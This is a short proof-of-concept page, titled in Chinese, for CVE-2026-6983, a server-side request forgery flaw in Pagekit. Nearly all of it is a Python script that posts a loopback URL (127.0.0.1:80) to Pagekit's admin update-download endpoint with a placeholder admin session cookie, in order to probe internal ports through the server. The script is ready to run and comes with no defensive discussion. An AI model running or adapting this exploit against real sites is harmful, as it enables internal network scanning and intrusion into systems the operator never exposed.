CVE-2026-6983 Pagekit服务端请求伪造漏洞

# PoC for CVE-2026-6983 Pagekit SSRF import requests target_url = "http://target-pagekit-site.com/index.php/admin/system/update/download" # Malicious URL to scan internal network (e.g., checking if port 80 is open on localhost) malicious_payload = { "url": "http://127.0.0.1:80" } # Note: Requires Admin Authentication (Cookie/Session) headers = { "Cookie": "YOUR_ADMIN_SESSION_COOKIE_HERE", "User-Agent": "Mozilla/5.0" } try: response = requests.post(target_url, data=malicious_payload, headers=headers) if response.status_code == 200: print("[*] Request sent successfully. Check response for indicators of SSRF.") print(f"Response content: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")